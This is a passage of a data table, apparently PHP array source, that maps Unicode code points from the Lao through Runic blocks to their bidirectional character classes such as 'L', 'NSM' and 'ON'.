3739=>'L', 3740=>'L', 3741=>'L', 3742=>'L', 3743=>'L', 3745=>'L', 3746=>'L', 3747=>'L', 3749=>'L', 3751=>'L', 3754=>'L', 3755=>'L', 3757=>'L', 3758=>'L', 3759=>'L', 3760=>'L', 3761=>'NSM', 3762=>'L', 3763=>'L', 3764=>'NSM', 3765=>'NSM', 3766=>'NSM', 3767=>'NSM', 3768=>'NSM', 3769=>'NSM', 3771=>'NSM', 3772=>'NSM', 3773=>'L', 3776=>'L', 3777=>'L', 3778=>'L', 3779=>'L', 3780=>'L', 3782=>'L', 3784=>'NSM', 3785=>'NSM', 3786=>'NSM', 3787=>'NSM', 3788=>'NSM', 3789=>'NSM', 3792=>'L', 3793=>'L', 3794=>'L', 3795=>'L', 3796=>'L', 3797=>'L', 3798=>'L', 3799=>'L', 3800=>'L', 3801=>'L', 3804=>'L', 3805=>'L', 3840=>'L', 3841=>'L', 3842=>'L', 3843=>'L', 3844=>'L', 3845=>'L', 3846=>'L', 3847=>'L', 3848=>'L', 3849=>'L', 3850=>'L', 3851=>'L', 3852=>'L', 3853=>'L', 3854=>'L', 3855=>'L', 3856=>'L', 3857=>'L', 3858=>'L', 3859=>'L', 3860=>'L', 3861=>'L', 3862=>'L', 3863=>'L', 3864=>'NSM', 3865=>'NSM', 3866=>'L', 3867=>'L', 3868=>'L', 3869=>'L', 3870=>'L', 3871=>'L', 3872=>'L', 3873=>'L', 3874=>'L', 3875=>'L', 3876=>'L', 3877=>'L', 3878=>'L', 3879=>'L', 3880=>'L', 3881=>'L', 3882=>'L', 3883=>'L', 3884=>'L', 3885=>'L', 3886=>'L', 3887=>'L', 3888=>'L', 3889=>'L', 3890=>'L', 3891=>'L', 3892=>'L', 3893=>'NSM', 3894=>'L', 3895=>'NSM', 3896=>'L', 3897=>'NSM', 3898=>'ON', 3899=>'ON', 3900=>'ON', 3901=>'ON', 3902=>'L', 3903=>'L', 3904=>'L', 3905=>'L', 3906=>'L', 3907=>'L', 3908=>'L', 3909=>'L', 3910=>'L', 3911=>'L', 3913=>'L', 3914=>'L', 3915=>'L', 3916=>'L', 3917=>'L', 3918=>'L', 3919=>'L', 3920=>'L', 3921=>'L', 3922=>'L', 3923=>'L', 3924=>'L', 3925=>'L', 3926=>'L', 3927=>'L', 3928=>'L', 3929=>'L', 3930=>'L', 3931=>'L', 3932=>'L', 3933=>'L', 3934=>'L', 3935=>'L', 3936=>'L', 3937=>'L', 3938=>'L', 3939=>'L', 3940=>'L', 3941=>'L', 3942=>'L', 3943=>'L', 3944=>'L', 3945=>'L', 3946=>'L', 3953=>'NSM', 3954=>'NSM', 3955=>'NSM', 3956=>'NSM', 3957=>'NSM', 3958=>'NSM', 3959=>'NSM', 3960=>'NSM', 3961=>'NSM', 3962=>'NSM', 3963=>'NSM', 3964=>'NSM', 3965=>'NSM', 3966=>'NSM', 3967=>'L', 3968=>'NSM', 3969=>'NSM', 3970=>'NSM', 3971=>'NSM', 3972=>'NSM', 3973=>'L', 3974=>'NSM', 3975=>'NSM', 3976=>'L', 3977=>'L', 3978=>'L', 3979=>'L', 3984=>'NSM', 3985=>'NSM', 3986=>'NSM', 3987=>'NSM', 3988=>'NSM', 3989=>'NSM', 3990=>'NSM', 3991=>'NSM', 3993=>'NSM', 3994=>'NSM', 3995=>'NSM', 3996=>'NSM', 3997=>'NSM', 3998=>'NSM', 3999=>'NSM', 4000=>'NSM', 4001=>'NSM', 4002=>'NSM', 4003=>'NSM', 4004=>'NSM', 4005=>'NSM', 4006=>'NSM', 4007=>'NSM', 4008=>'NSM', 4009=>'NSM', 4010=>'NSM', 4011=>'NSM', 4012=>'NSM', 4013=>'NSM', 4014=>'NSM', 4015=>'NSM', 4016=>'NSM', 4017=>'NSM', 4018=>'NSM', 4019=>'NSM', 4020=>'NSM', 4021=>'NSM', 4022=>'NSM', 4023=>'NSM', 4024=>'NSM', 4025=>'NSM', 4026=>'NSM', 4027=>'NSM', 4028=>'NSM', 4030=>'L', 4031=>'L', 4032=>'L', 4033=>'L', 4034=>'L', 4035=>'L', 4036=>'L', 4037=>'L', 4038=>'NSM', 4039=>'L', 4040=>'L', 4041=>'L', 4042=>'L', 4043=>'L', 4044=>'L', 4047=>'L', 4048=>'L', 4049=>'L', 4096=>'L', 4097=>'L', 4098=>'L', 4099=>'L', 4100=>'L', 4101=>'L', 4102=>'L', 4103=>'L', 4104=>'L', 4105=>'L', 4106=>'L', 4107=>'L', 4108=>'L', 4109=>'L', 4110=>'L', 4111=>'L', 4112=>'L', 4113=>'L', 4114=>'L', 4115=>'L', 4116=>'L', 4117=>'L', 4118=>'L', 4119=>'L', 4120=>'L', 4121=>'L', 4122=>'L', 4123=>'L', 4124=>'L', 4125=>'L', 4126=>'L', 4127=>'L', 4128=>'L', 4129=>'L', 4131=>'L', 4132=>'L', 4133=>'L', 4134=>'L', 4135=>'L', 4137=>'L', 4138=>'L', 4140=>'L', 4141=>'NSM', 4142=>'NSM', 4143=>'NSM', 4144=>'NSM', 4145=>'L', 4146=>'NSM', 4150=>'NSM', 4151=>'NSM', 4152=>'L', 4153=>'NSM', 4160=>'L', 4161=>'L', 4162=>'L', 4163=>'L', 4164=>'L', 4165=>'L', 4166=>'L', 4167=>'L', 4168=>'L', 4169=>'L', 4170=>'L', 4171=>'L', 4172=>'L', 4173=>'L', 4174=>'L', 4175=>'L', 4176=>'L', 4177=>'L', 4178=>'L', 4179=>'L', 4180=>'L', 4181=>'L', 4182=>'L', 4183=>'L', 4184=>'NSM', 4185=>'NSM', 4256=>'L', 4257=>'L', 4258=>'L', 4259=>'L', 4260=>'L', 4261=>'L', 4262=>'L', 4263=>'L', 4264=>'L', 4265=>'L', 4266=>'L', 4267=>'L', 4268=>'L', 4269=>'L', 4270=>'L', 4271=>'L', 4272=>'L', 4273=>'L', 4274=>'L', 4275=>'L', 4276=>'L', 4277=>'L', 4278=>'L', 4279=>'L', 4280=>'L', 4281=>'L', 4282=>'L', 4283=>'L', 4284=>'L', 4285=>'L', 4286=>'L', 4287=>'L', 4288=>'L', 4289=>'L', 4290=>'L', 4291=>'L', 4292=>'L', 4293=>'L', 4304=>'L', 4305=>'L', 4306=>'L', 4307=>'L', 4308=>'L', 4309=>'L', 4310=>'L', 4311=>'L', 4312=>'L', 4313=>'L', 4314=>'L', 4315=>'L', 4316=>'L', 4317=>'L', 4318=>'L', 4319=>'L', 4320=>'L', 4321=>'L', 4322=>'L', 4323=>'L', 4324=>'L', 4325=>'L', 4326=>'L', 4327=>'L', 4328=>'L', 4329=>'L', 4330=>'L', 4331=>'L', 4332=>'L', 4333=>'L', 4334=>'L', 4335=>'L', 4336=>'L', 4337=>'L', 4338=>'L', 4339=>'L', 4340=>'L', 4341=>'L', 4342=>'L', 4343=>'L', 4344=>'L', 4345=>'L', 4346=>'L', 4347=>'L', 4348=>'L', 4352=>'L', 4353=>'L', 4354=>'L', 4355=>'L', 4356=>'L', 4357=>'L', 4358=>'L', 4359=>'L', 4360=>'L', 4361=>'L', 4362=>'L', 4363=>'L', 4364=>'L', 4365=>'L', 4366=>'L', 4367=>'L', 4368=>'L', 4369=>'L', 4370=>'L', 4371=>'L', 4372=>'L', 4373=>'L', 4374=>'L', 4375=>'L', 4376=>'L', 4377=>'L', 4378=>'L', 4379=>'L', 4380=>'L', 4381=>'L', 4382=>'L', 4383=>'L', 4384=>'L', 4385=>'L', 4386=>'L', 4387=>'L', 4388=>'L', 4389=>'L', 4390=>'L', 4391=>'L', 4392=>'L', 4393=>'L', 4394=>'L', 4395=>'L', 4396=>'L', 4397=>'L', 4398=>'L', 4399=>'L', 4400=>'L', 4401=>'L', 4402=>'L', 4403=>'L', 4404=>'L', 4405=>'L', 4406=>'L', 4407=>'L', 4408=>'L', 4409=>'L', 4410=>'L', 4411=>'L', 4412=>'L', 4413=>'L', 4414=>'L', 4415=>'L', 4416=>'L', 4417=>'L', 4418=>'L', 4419=>'L', 4420=>'L', 4421=>'L', 4422=>'L', 4423=>'L', 4424=>'L', 4425=>'L', 4426=>'L', 4427=>'L', 4428=>'L', 4429=>'L', 4430=>'L', 4431=>'L', 4432=>'L', 4433=>'L', 4434=>'L', 4435=>'L', 4436=>'L', 4437=>'L', 4438=>'L', 4439=>'L', 4440=>'L', 4441=>'L', 4447=>'L', 4448=>'L', 4449=>'L', 4450=>'L', 4451=>'L', 4452=>'L', 4453=>'L', 4454=>'L', 4455=>'L', 4456=>'L', 4457=>'L', 4458=>'L', 4459=>'L', 4460=>'L', 4461=>'L', 4462=>'L', 4463=>'L', 4464=>'L', 4465=>'L', 4466=>'L', 4467=>'L', 4468=>'L', 4469=>'L', 4470=>'L', 4471=>'L', 4472=>'L', 4473=>'L', 4474=>'L', 4475=>'L', 4476=>'L', 4477=>'L', 4478=>'L', 4479=>'L', 4480=>'L', 4481=>'L', 4482=>'L', 4483=>'L', 4484=>'L', 4485=>'L', 4486=>'L', 4487=>'L', 4488=>'L', 4489=>'L', 4490=>'L', 4491=>'L', 4492=>'L', 4493=>'L', 4494=>'L', 4495=>'L', 4496=>'L', 4497=>'L', 4498=>'L', 4499=>'L', 4500=>'L', 4501=>'L', 4502=>'L', 4503=>'L', 4504=>'L', 4505=>'L', 4506=>'L', 4507=>'L', 4508=>'L', 4509=>'L', 4510=>'L', 4511=>'L', 4512=>'L', 4513=>'L', 4514=>'L', 4520=>'L', 4521=>'L', 4522=>'L', 4523=>'L', 4524=>'L', 4525=>'L', 4526=>'L', 4527=>'L', 4528=>'L', 4529=>'L', 4530=>'L', 4531=>'L', 4532=>'L', 4533=>'L', 4534=>'L', 4535=>'L', 4536=>'L', 4537=>'L', 4538=>'L', 4539=>'L', 4540=>'L', 4541=>'L', 4542=>'L', 4543=>'L', 4544=>'L', 4545=>'L', 4546=>'L', 4547=>'L', 4548=>'L', 4549=>'L', 4550=>'L', 4551=>'L', 4552=>'L', 4553=>'L', 4554=>'L', 4555=>'L', 4556=>'L', 4557=>'L', 4558=>'L', 4559=>'L', 4560=>'L', 4561=>'L', 4562=>'L', 4563=>'L', 4564=>'L', 4565=>'L', 4566=>'L', 4567=>'L', 4568=>'L', 4569=>'L', 4570=>'L', 4571=>'L', 4572=>'L', 4573=>'L', 4574=>'L', 4575=>'L', 4576=>'L', 4577=>'L', 4578=>'L', 4579=>'L', 4580=>'L', 4581=>'L', 4582=>'L', 4583=>'L', 4584=>'L', 4585=>'L', 4586=>'L', 4587=>'L', 4588=>'L', 4589=>'L', 4590=>'L', 4591=>'L', 4592=>'L', 4593=>'L', 4594=>'L', 4595=>'L', 4596=>'L', 4597=>'L', 4598=>'L', 4599=>'L', 4600=>'L', 4601=>'L', 4608=>'L', 4609=>'L', 4610=>'L', 4611=>'L', 4612=>'L', 4613=>'L', 4614=>'L', 4615=>'L', 4616=>'L', 4617=>'L', 4618=>'L', 4619=>'L', 4620=>'L', 4621=>'L', 4622=>'L', 4623=>'L', 4624=>'L', 4625=>'L', 4626=>'L', 4627=>'L', 4628=>'L', 4629=>'L', 4630=>'L', 4631=>'L', 4632=>'L', 4633=>'L', 4634=>'L', 4635=>'L', 4636=>'L', 4637=>'L', 4638=>'L', 4639=>'L', 4640=>'L', 4641=>'L', 4642=>'L', 4643=>'L', 4644=>'L', 4645=>'L', 4646=>'L', 4647=>'L', 4648=>'L', 4649=>'L', 4650=>'L', 4651=>'L', 4652=>'L', 4653=>'L', 4654=>'L', 4655=>'L', 4656=>'L', 4657=>'L', 4658=>'L', 4659=>'L', 4660=>'L', 4661=>'L', 4662=>'L', 4663=>'L', 4664=>'L', 4665=>'L', 4666=>'L', 4667=>'L', 4668=>'L', 4669=>'L', 4670=>'L', 4671=>'L', 4672=>'L', 4673=>'L', 4674=>'L', 4675=>'L', 4676=>'L', 4677=>'L', 4678=>'L', 4679=>'L', 4680=>'L', 4682=>'L', 4683=>'L', 4684=>'L', 4685=>'L', 4688=>'L', 4689=>'L', 4690=>'L', 4691=>'L', 4692=>'L', 4693=>'L', 4694=>'L', 4696=>'L', 4698=>'L', 4699=>'L', 4700=>'L', 4701=>'L', 4704=>'L', 4705=>'L', 4706=>'L', 4707=>'L', 4708=>'L', 4709=>'L', 4710=>'L', 4711=>'L', 4712=>'L', 4713=>'L', 4714=>'L', 4715=>'L', 4716=>'L', 4717=>'L', 4718=>'L', 4719=>'L', 4720=>'L', 4721=>'L', 4722=>'L', 4723=>'L', 4724=>'L', 4725=>'L', 4726=>'L', 4727=>'L', 4728=>'L', 4729=>'L', 4730=>'L', 4731=>'L', 4732=>'L', 4733=>'L', 4734=>'L', 4735=>'L', 4736=>'L', 4737=>'L', 4738=>'L', 4739=>'L', 4740=>'L', 4741=>'L', 4742=>'L', 4743=>'L', 4744=>'L', 4746=>'L', 4747=>'L', 4748=>'L', 4749=>'L', 4752=>'L', 4753=>'L', 4754=>'L', 4755=>'L', 4756=>'L', 4757=>'L', 4758=>'L', 4759=>'L', 4760=>'L', 4761=>'L', 4762=>'L', 4763=>'L', 4764=>'L', 4765=>'L', 4766=>'L', 4767=>'L', 4768=>'L', 4769=>'L', 4770=>'L', 4771=>'L', 4772=>'L', 4773=>'L', 4774=>'L', 4775=>'L', 4776=>'L', 4777=>'L', 4778=>'L', 4779=>'L', 4780=>'L', 4781=>'L', 4782=>'L', 4783=>'L', 4784=>'L', 4786=>'L', 4787=>'L', 4788=>'L', 4789=>'L', 4792=>'L', 4793=>'L', 4794=>'L', 4795=>'L', 4796=>'L', 4797=>'L', 4798=>'L', 4800=>'L', 4802=>'L', 4803=>'L', 4804=>'L', 4805=>'L', 4808=>'L', 4809=>'L', 4810=>'L', 4811=>'L', 4812=>'L', 4813=>'L', 4814=>'L', 4815=>'L', 4816=>'L', 4817=>'L', 4818=>'L', 4819=>'L', 4820=>'L', 4821=>'L', 4822=>'L', 4824=>'L', 4825=>'L', 4826=>'L', 4827=>'L', 4828=>'L', 4829=>'L', 4830=>'L', 4831=>'L', 4832=>'L', 4833=>'L', 4834=>'L', 4835=>'L', 4836=>'L', 4837=>'L', 4838=>'L', 4839=>'L', 4840=>'L', 4841=>'L', 4842=>'L', 4843=>'L', 4844=>'L', 4845=>'L', 4846=>'L', 4847=>'L', 4848=>'L', 4849=>'L', 4850=>'L', 4851=>'L', 4852=>'L', 4853=>'L', 4854=>'L', 4855=>'L', 4856=>'L', 4857=>'L', 4858=>'L', 4859=>'L', 4860=>'L', 4861=>'L', 4862=>'L', 4863=>'L', 4864=>'L', 4865=>'L', 4866=>'L', 4867=>'L', 4868=>'L', 4869=>'L', 4870=>'L', 4871=>'L', 4872=>'L', 4873=>'L', 4874=>'L', 4875=>'L', 4876=>'L', 4877=>'L', 4878=>'L', 4879=>'L', 4880=>'L', 4882=>'L', 4883=>'L', 4884=>'L', 4885=>'L', 4888=>'L', 4889=>'L', 4890=>'L', 4891=>'L', 4892=>'L', 4893=>'L', 4894=>'L', 4895=>'L', 4896=>'L', 4897=>'L', 4898=>'L', 4899=>'L', 4900=>'L', 4901=>'L', 4902=>'L', 4903=>'L', 4904=>'L', 4905=>'L', 4906=>'L', 4907=>'L', 4908=>'L', 4909=>'L', 4910=>'L', 4911=>'L', 4912=>'L', 4913=>'L', 4914=>'L', 4915=>'L', 4916=>'L', 4917=>'L', 4918=>'L', 4919=>'L', 4920=>'L', 4921=>'L', 4922=>'L', 4923=>'L', 4924=>'L', 4925=>'L', 4926=>'L', 4927=>'L', 4928=>'L', 4929=>'L', 4930=>'L', 4931=>'L', 4932=>'L', 4933=>'L', 4934=>'L', 4935=>'L', 4936=>'L', 4937=>'L', 4938=>'L', 4939=>'L', 4940=>'L', 4941=>'L', 4942=>'L', 4943=>'L', 4944=>'L', 4945=>'L', 4946=>'L', 4947=>'L', 4948=>'L', 4949=>'L', 4950=>'L', 4951=>'L', 4952=>'L', 4953=>'L', 4954=>'L', 4959=>'NSM', 4960=>'L', 4961=>'L', 4962=>'L', 4963=>'L', 4964=>'L', 4965=>'L', 4966=>'L', 4967=>'L', 4968=>'L', 4969=>'L', 4970=>'L', 4971=>'L', 4972=>'L', 4973=>'L', 4974=>'L', 4975=>'L', 4976=>'L', 4977=>'L', 4978=>'L', 4979=>'L', 4980=>'L', 4981=>'L', 4982=>'L', 4983=>'L', 4984=>'L', 4985=>'L', 4986=>'L', 4987=>'L', 4988=>'L', 4992=>'L', 4993=>'L', 4994=>'L', 4995=>'L', 4996=>'L', 4997=>'L', 4998=>'L', 4999=>'L', 5000=>'L', 5001=>'L', 5002=>'L', 5003=>'L', 5004=>'L', 5005=>'L', 5006=>'L', 5007=>'L', 5008=>'ON', 5009=>'ON', 5010=>'ON', 5011=>'ON', 5012=>'ON', 5013=>'ON', 5014=>'ON', 5015=>'ON', 5016=>'ON', 5017=>'ON', 5024=>'L', 5025=>'L', 5026=>'L', 5027=>'L', 5028=>'L', 5029=>'L', 5030=>'L', 5031=>'L', 5032=>'L', 5033=>'L', 5034=>'L', 5035=>'L', 5036=>'L', 5037=>'L', 5038=>'L', 5039=>'L', 5040=>'L', 5041=>'L', 5042=>'L', 5043=>'L', 5044=>'L', 5045=>'L', 5046=>'L', 5047=>'L', 5048=>'L', 5049=>'L', 5050=>'L', 5051=>'L', 5052=>'L', 5053=>'L', 5054=>'L', 5055=>'L', 5056=>'L', 5057=>'L', 5058=>'L', 5059=>'L', 5060=>'L', 5061=>'L', 5062=>'L', 5063=>'L', 5064=>'L', 5065=>'L', 5066=>'L', 5067=>'L', 5068=>'L', 5069=>'L', 5070=>'L', 5071=>'L', 5072=>'L', 5073=>'L', 5074=>'L', 5075=>'L', 5076=>'L', 5077=>'L', 5078=>'L', 5079=>'L', 5080=>'L', 5081=>'L', 5082=>'L', 5083=>'L', 5084=>'L', 5085=>'L', 5086=>'L', 5087=>'L', 5088=>'L', 5089=>'L', 5090=>'L', 5091=>'L', 5092=>'L', 5093=>'L', 5094=>'L', 5095=>'L', 5096=>'L', 5097=>'L', 5098=>'L', 5099=>'L', 5100=>'L', 5101=>'L', 5102=>'L', 5103=>'L', 5104=>'L', 5105=>'L', 5106=>'L', 5107=>'L', 5108=>'L', 5121=>'L', 5122=>'L', 5123=>'L', 5124=>'L', 5125=>'L', 5126=>'L', 5127=>'L', 5128=>'L', 5129=>'L', 5130=>'L', 5131=>'L', 5132=>'L', 5133=>'L', 5134=>'L', 5135=>'L', 5136=>'L', 5137=>'L', 5138=>'L', 5139=>'L', 5140=>'L', 5141=>'L', 5142=>'L', 5143=>'L', 5144=>'L', 5145=>'L', 5146=>'L', 5147=>'L', 5148=>'L', 5149=>'L', 5150=>'L', 5151=>'L', 5152=>'L', 5153=>'L', 5154=>'L', 5155=>'L', 5156=>'L', 5157=>'L', 5158=>'L', 5159=>'L', 5160=>'L', 5161=>'L', 5162=>'L', 5163=>'L', 5164=>'L', 5165=>'L', 5166=>'L', 5167=>'L', 5168=>'L', 5169=>'L', 5170=>'L', 5171=>'L', 5172=>'L', 5173=>'L', 5174=>'L', 5175=>'L', 5176=>'L', 5177=>'L', 5178=>'L', 5179=>'L', 5180=>'L', 5181=>'L', 5182=>'L', 5183=>'L', 5184=>'L', 5185=>'L', 5186=>'L', 5187=>'L', 5188=>'L', 5189=>'L', 5190=>'L', 5191=>'L', 5192=>'L', 5193=>'L', 5194=>'L', 5195=>'L', 5196=>'L', 5197=>'L', 5198=>'L', 5199=>'L', 5200=>'L', 5201=>'L', 5202=>'L', 5203=>'L', 5204=>'L', 5205=>'L', 5206=>'L', 5207=>'L', 5208=>'L', 5209=>'L', 5210=>'L', 5211=>'L', 5212=>'L', 5213=>'L', 5214=>'L', 5215=>'L', 5216=>'L', 5217=>'L', 5218=>'L', 5219=>'L', 5220=>'L', 5221=>'L', 5222=>'L', 5223=>'L', 5224=>'L', 5225=>'L', 5226=>'L', 5227=>'L', 5228=>'L', 5229=>'L', 5230=>'L', 5231=>'L', 5232=>'L', 5233=>'L', 5234=>'L', 5235=>'L', 5236=>'L', 5237=>'L', 5238=>'L', 5239=>'L', 5240=>'L', 5241=>'L', 5242=>'L', 5243=>'L', 5244=>'L', 5245=>'L', 5246=>'L', 5247=>'L', 5248=>'L', 5249=>'L', 5250=>'L', 5251=>'L', 5252=>'L', 5253=>'L', 5254=>'L', 5255=>'L', 5256=>'L', 5257=>'L', 5258=>'L', 5259=>'L', 5260=>'L', 5261=>'L', 5262=>'L', 5263=>'L', 5264=>'L', 5265=>'L', 5266=>'L', 5267=>'L', 5268=>'L', 5269=>'L', 5270=>'L', 5271=>'L', 5272=>'L', 5273=>'L', 5274=>'L', 5275=>'L', 5276=>'L', 5277=>'L', 5278=>'L', 5279=>'L', 5280=>'L', 5281=>'L', 5282=>'L', 5283=>'L', 5284=>'L', 5285=>'L', 5286=>'L', 5287=>'L', 5288=>'L', 5289=>'L', 5290=>'L', 5291=>'L', 5292=>'L', 5293=>'L', 5294=>'L', 5295=>'L', 5296=>'L', 5297=>'L', 5298=>'L', 5299=>'L', 5300=>'L', 5301=>'L', 5302=>'L', 5303=>'L', 5304=>'L', 5305=>'L', 5306=>'L', 5307=>'L', 5308=>'L', 5309=>'L', 5310=>'L', 5311=>'L', 5312=>'L', 5313=>'L', 5314=>'L', 5315=>'L', 5316=>'L', 5317=>'L', 5318=>'L', 5319=>'L', 5320=>'L', 5321=>'L', 5322=>'L', 5323=>'L', 5324=>'L', 5325=>'L', 5326=>'L', 5327=>'L', 5328=>'L', 5329=>'L', 5330=>'L', 5331=>'L', 5332=>'L', 5333=>'L', 5334=>'L', 5335=>'L', 5336=>'L', 5337=>'L', 5338=>'L', 5339=>'L', 5340=>'L', 5341=>'L', 5342=>'L', 5343=>'L', 5344=>'L', 5345=>'L', 5346=>'L', 5347=>'L', 5348=>'L', 5349=>'L', 5350=>'L', 5351=>'L', 5352=>'L', 5353=>'L', 5354=>'L', 5355=>'L', 5356=>'L', 5357=>'L', 5358=>'L', 5359=>'L', 5360=>'L', 5361=>'L', 5362=>'L', 5363=>'L', 5364=>'L', 5365=>'L', 5366=>'L', 5367=>'L', 5368=>'L', 5369=>'L', 5370=>'L', 5371=>'L', 5372=>'L', 5373=>'L', 5374=>'L', 5375=>'L', 5376=>'L', 5377=>'L', 5378=>'L', 5379=>'L', 5380=>'L', 5381=>'L', 5382=>'L', 5383=>'L', 5384=>'L', 5385=>'L', 5386=>'L', 5387=>'L', 5388=>'L', 5389=>'L', 5390=>'L', 5391=>'L', 5392=>'L', 5393=>'L', 5394=>'L', 5395=>'L', 5396=>'L', 5397=>'L', 5398=>'L', 5399=>'L', 5400=>'L', 5401=>'L', 5402=>'L', 5403=>'L', 5404=>'L', 5405=>'L', 5406=>'L', 5407=>'L', 5408=>'L', 5409=>'L', 5410=>'L', 5411=>'L', 5412=>'L', 5413=>'L', 5414=>'L', 5415=>'L', 5416=>'L', 5417=>'L', 5418=>'L', 5419=>'L', 5420=>'L', 5421=>'L', 5422=>'L', 5423=>'L', 5424=>'L', 5425=>'L', 5426=>'L', 5427=>'L', 5428=>'L', 5429=>'L', 5430=>'L', 5431=>'L', 5432=>'L', 5433=>'L', 5434=>'L', 5435=>'L', 5436=>'L', 5437=>'L', 5438=>'L', 5439=>'L', 5440=>'L', 5441=>'L', 5442=>'L', 5443=>'L', 5444=>'L', 5445=>'L', 5446=>'L', 5447=>'L', 5448=>'L', 5449=>'L', 5450=>'L', 5451=>'L', 5452=>'L', 5453=>'L', 5454=>'L', 5455=>'L', 5456=>'L', 5457=>'L', 5458=>'L', 5459=>'L', 5460=>'L', 5461=>'L', 5462=>'L', 5463=>'L', 5464=>'L', 5465=>'L', 5466=>'L', 5467=>'L', 5468=>'L', 5469=>'L', 5470=>'L', 5471=>'L', 5472=>'L', 5473=>'L', 5474=>'L', 5475=>'L', 5476=>'L', 5477=>'L', 5478=>'L', 5479=>'L', 5480=>'L', 5481=>'L', 5482=>'L', 5483=>'L', 5484=>'L', 5485=>'L', 5486=>'L', 5487=>'L', 5488=>'L', 5489=>'L', 5490=>'L', 5491=>'L', 5492=>'L', 5493=>'L', 5494=>'L', 5495=>'L', 5496=>'L', 5497=>'L', 5498=>'L', 5499=>'L', 5500=>'L', 5501=>'L', 5502=>'L', 5503=>'L', 5504=>'L', 5505=>'L', 5506=>'L', 5507=>'L', 5508=>'L', 5509=>'L', 5510=>'L', 5511=>'L', 5512=>'L', 5513=>'L', 5514=>'L', 5515=>'L', 5516=>'L', 5517=>'L', 5518=>'L', 5519=>'L', 5520=>'L', 5521=>'L', 5522=>'L', 5523=>'L', 5524=>'L', 5525=>'L', 5526=>'L', 5527=>'L', 5528=>'L', 5529=>'L', 5530=>'L', 5531=>'L', 5532=>'L', 5533=>'L', 5534=>'L', 5535=>'L', 5536=>'L', 5537=>'L', 5538=>'L', 5539=>'L', 5540=>'L', 5541=>'L', 5542=>'L', 5543=>'L', 5544=>'L', 5545=>'L', 5546=>'L', 5547=>'L', 5548=>'L', 5549=>'L', 5550=>'L', 5551=>'L', 5552=>'L', 5553=>'L', 5554=>'L', 5555=>'L', 5556=>'L', 5557=>'L', 5558=>'L', 5559=>'L', 5560=>'L', 5561=>'L', 5562=>'L', 5563=>'L', 5564=>'L', 5565=>'L', 5566=>'L', 5567=>'L', 5568=>'L', 5569=>'L', 5570=>'L', 5571=>'L', 5572=>'L', 5573=>'L', 5574=>'L', 5575=>'L', 5576=>'L', 5577=>'L', 5578=>'L', 5579=>'L', 5580=>'L', 5581=>'L', 5582=>'L', 5583=>'L', 5584=>'L', 5585=>'L', 5586=>'L', 5587=>'L', 5588=>'L', 5589=>'L', 5590=>'L', 5591=>'L', 5592=>'L', 5593=>'L', 5594=>'L', 5595=>'L', 5596=>'L', 5597=>'L', 5598=>'L', 5599=>'L', 5600=>'L', 5601=>'L', 5602=>'L', 5603=>'L', 5604=>'L', 5605=>'L', 5606=>'L', 5607=>'L', 5608=>'L', 5609=>'L', 5610=>'L', 5611=>'L', 5612=>'L', 5613=>'L', 5614=>'L', 5615=>'L', 5616=>'L', 5617=>'L', 5618=>'L', 5619=>'L', 5620=>'L', 5621=>'L', 5622=>'L', 5623=>'L', 5624=>'L', 5625=>'L', 5626=>'L', 5627=>'L', 5628=>'L', 5629=>'L', 5630=>'L', 5631=>'L', 5632=>'L', 5633=>'L', 5634=>'L', 5635=>'L', 5636=>'L', 5637=>'L', 5638=>'L', 5639=>'L', 5640=>'L', 5641=>'L', 5642=>'L', 5643=>'L', 5644=>'L', 5645=>'L', 5646=>'L', 5647=>'L', 5648=>'L', 5649=>'L', 5650=>'L', 5651=>'L', 5652=>'L', 5653=>'L', 5654=>'L', 5655=>'L', 5656=>'L', 5657=>'L', 5658=>'L', 5659=>'L', 5660=>'L', 5661=>'L', 5662=>'L', 5663=>'L', 5664=>'L', 5665=>'L', 5666=>'L', 5667=>'L', 5668=>'L', 5669=>'L', 5670=>'L', 5671=>'L', 5672=>'L', 5673=>'L', 5674=>'L', 5675=>'L', 5676=>'L', 5677=>'L', 5678=>'L', 5679=>'L', 5680=>'L', 5681=>'L', 5682=>'L', 5683=>'L', 5684=>'L', 5685=>'L', 5686=>'L', 5687=>'L', 5688=>'L', 5689=>'L', 5690=>'L', 5691=>'L', 5692=>'L', 5693=>'L', 5694=>'L', 5695=>'L', 5696=>'L', 5697=>'L', 5698=>'L', 5699=>'L', 5700=>'L', 5701=>'L', 5702=>'L', 5703=>'L', 5704=>'L', 5705=>'L', 5706=>'L', 5707=>'L', 5708=>'L', 5709=>'L', 5710=>'L', 5711=>'L', 5712=>'L', 5713=>'L', 5714=>'L', 5715=>'L', 5716=>'L', 5717=>'L', 5718=>'L', 5719=>'L', 5720=>'L', 5721=>'L', 5722=>'L', 5723=>'L', 5724=>'L', 5725=>'L', 5726=>'L', 5727=>'L', 5728=>'L', 5729=>'L', 5730=>'L', 5731=>'L', 5732=>'L', 5733=>'L', 5734=>'L', 5735=>'L', 5736=>'L', 5737=>'L', 5738=>'L', 5739=>'L', 5740=>'L', 5741=>'L', 5742=>'L', 5743=>'L', 5744=>'L', 5745=>'L', 5746=>'L', 5747=>'L', 5748=>'L', 5749=>'L', 5750=>'L', 5760=>'WS', 5761=>'L', 5762=>'L', 5763=>'L', 5764=>'L', 5765=>'L', 5766=>'L', 5767=>'L', 5768=>'L', 5769=>'L', 5770=>'L', 5771=>'L', 5772=>'L', 5773=>'L', 5774=>'L', 5775=>'L', 5776=>'L', 5777=>'L', 5778=>'L', 5779=>'L', 5780=>'L', 5781=>'L', 5782=>'L', 5783=>'L', 5784=>'L', 5785=>'L', 5786=>'L', 5787=>'ON', 5788=>'ON', 5792=>'L', 5793=>'L', 5794=>'L', 5795=>'L', 5796=>'L', 5797=>'L', 5798=>'L', 5799=>'L', 5800=>'L', 5801=>'L', 5802=>'L', 5803=>'L', 5804=>'L', 5805=>'L', 5806=>'L', 5807=>'L', 5808=>'L', 5809=>'L', 5810=>'L', 5811=>'L', 5812=>'L', 5813=>'L', 5814=>'L', 5815=>'L', 5816=>'L', 5817=>'L', 5818=>'L', 5819=>'L', 5820=>'L', 5821=>'L', 5822=>'L', 5823=>'L', 5824=>'L', 5825=>'L', 5826=>'L', 5827=>'L', 5828=>'L', 5829=>'L', 5830=>'L', 5831=>'L', 5832=>'L', 5833=>'L', 5834=>'L', 5835=>'L', 5836=>'L', 5837=>'L', 5838=>'L', 5839=>'L', 5840=>'L', 5841=>'L', 5842=>'L', 5843=>'L', 5844=>'L', 5845=>'L', 5846=>'L', 5847=>'L', 5848=>'L', 5849=>'L', 5850=>'L', 5851=>'L', 5852=>'L', 5853=>'L', 5854=>'L', 5855=>'L', 5856=>'L', 5857=>'L', 5858=>'L', 5859=>'L', 5860=>'L', 5861=>'L', 5862=>'L', 5863=>'L', 5864=>'L', 5865=>'L', 